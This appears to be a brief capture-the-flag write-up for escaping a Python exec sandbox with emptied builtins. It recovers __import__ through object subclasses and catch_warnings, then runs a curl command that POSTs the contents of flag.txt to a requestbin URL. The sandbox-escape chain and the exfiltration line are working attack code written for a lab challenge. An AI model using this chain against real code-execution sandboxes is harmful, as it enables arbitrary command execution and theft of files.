(full writeup at link)
see that the line `env = {'__builtins__': {}}` removes all builtins when our code is executed in that environment:```pyto_compile = f'async def func():\n{textwrap.indent(body, "  ")}'try:   exec(to_compile, env)```
Use `().__class__.__bases__[0].__subclasses__()` to get list of all classes still availableimport catch_warnings, and import os.  Then send flag as a cookie to requestbin(alternatively you could just import something that opens the file, and return that)
```pya = [i for i in ().__class__.__bases__[0].__subclasses__() if i.__name__ == "catch_warnings"][0]b = a()._module.__builtins__c = b['__import__']('os')c.system('curl -X POST -d "flag=$(cat flag.txt)" http://requestbin.net/r/REQUEST')```